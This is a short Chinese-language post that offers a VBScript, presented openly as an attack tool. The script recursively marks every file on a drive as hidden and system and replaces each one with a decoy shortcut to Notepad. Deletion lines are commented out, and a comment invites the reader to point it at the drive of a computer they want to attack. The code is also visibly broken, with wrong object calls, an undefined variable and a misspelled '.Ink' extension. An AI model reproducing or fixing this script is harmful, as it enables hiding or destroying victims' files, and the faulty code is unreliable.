注意
废话不多说,直接上代码
Sub CreateShortcut(Path)
Set WshShell=Wscript.CreateObject("Wscript.Shell")
Set Shortcut=WshShell.CreateShortcut(path&".Ink")
Shortcut.TargetPath="notepad.exe"
ShortCut.Hotkey="H"
shortCut.Save
End sub
Function FilesTree(sPath)
Set oFso=CreateObject("Scripting.FilesystemObject")
Set oFolder=oFso.Subfolders
Set oFiles=oFolder.Files
For Each oFile In oFiles
Wscript.Echo oFile(oFile.Path)
'oFile.Delete
Set f=oFso.GetFile(oFile.Path)
f.Attributes=2+4
CreateShortcut(oFile.Path)
Next
For Each oSubFolder In oSubfolders
Wscript.Echo oSubfolder.Path
'oSubFolder.Delete
FilesTree(oSubFolder.Path)
Next
Set oFolder=Nothing
Set oSubFolders=Nothing
Set oFso=Nothing
End Function
FilesTree("G:\")'这里的("G:\")可以改成你要攻击的电脑的盘符